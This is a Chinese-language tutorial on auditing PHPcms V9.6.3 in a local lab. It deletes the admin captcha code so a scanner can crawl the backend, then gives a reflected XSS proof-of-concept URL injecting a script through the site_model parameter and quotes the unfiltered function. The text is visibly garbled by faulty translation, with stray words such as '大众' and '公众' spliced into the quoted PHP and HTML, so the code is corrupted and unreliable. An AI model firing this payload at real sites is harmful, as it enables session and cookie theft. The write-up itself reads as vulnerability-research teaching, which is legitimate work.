本日与大家分享的文章是关于审计思路的知识点,用到的是PHPcms的最新版本,由于常规扫描无法进入后台,以是我们修正了代码让扫描器爬虫爬到后台。
漏洞复现环境
安装PHPstudy

安装PHPcms9.6.3版本20170515
安装PHPCMS程序版本:PHPcms V9.6.3 Release 20170515
操作系统:WINNT
做事器软件:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
MySQL 版本:5.5.53
上传文件:2M
安装上PHPcms9.6.3,删除管理后台的验证码的代码,紧张涉及以下代码:
第一步
找到文件PHPcms\modules\admin\index.php
删除以下代码(第33行)
$code = isset($_POST['code']) && trim($_POST['code']) ?trim($_POST['code']) : showmessage(L('input_code'), HTTP_REFERER); if ($_SESSION['code'] != strtolower($code)) { $_SESSION['code'] = ''; showmessage(L('code_error'), HTTP_REFERER); }$_SESSION['code'] = '';
第二步
找到文件:
PHPcms\modules\admin\templates\login.tpl.php
删除以下代码(第38行)
<label><?php echo L('security_code')?>:</label><inputname=\"大众code\公众 type=\"大众text\"大众 class=\"大众ipt ipt_reg\"大众onfocus=\公众document.getElementByIdx_x('yzm').style.display='block'\公众/>
删除以下代码(第39行)
<div id=\公众yzm\"大众 class=\公众yzm\"大众> <?php echo form::checkcode('code_img')?><br /> <a href=\公众javascript:document.getElementById('code_img').src='<?php echo SITE_PROTOCOL.SITE_URL.WEB_PATH;?>api.php?op=checkcode&m=admin&c=index&a=checkcode&time='+Math.random();void(0);\"大众> <?php echo L('click_change_validate')?></a></div>
利用avws上岸扫描让爬虫进后台
用户名为PHPcms PHPcms
跑了一段韶光,创造有结果了。
pc_hash如果失落效,就更换掉。
Poc
http://localhost//index.php?m=admin&c=index&a=login&pc_hash=K4KuIk&a=public_set_model&c=index&m=admin&site_model=%3Cscript%3Ealert(1)%3C/script%3E&time=0.10436825733631849
紧张漏洞参数site_model
剖析
WWW\phpcms\modules\admin\index.php
313-314行
public function public_set_model() { $model = $_GET['site_model']; if (!$model) { param::set_cookie('site_model',''); } else { $models = pc_base::load_config('model_config'); if (in_array($model, array_keys($models))) { param::set_cookie('site_model', $model); } else { param::set_cookie('site_model',''); } } $menudb = pc_base::load_model('menu_model'); $where = array('parentid'=>0,'display'=>1);
site_model没做任何过滤。
以上是本日要分享的全部内容,大家学会了吗?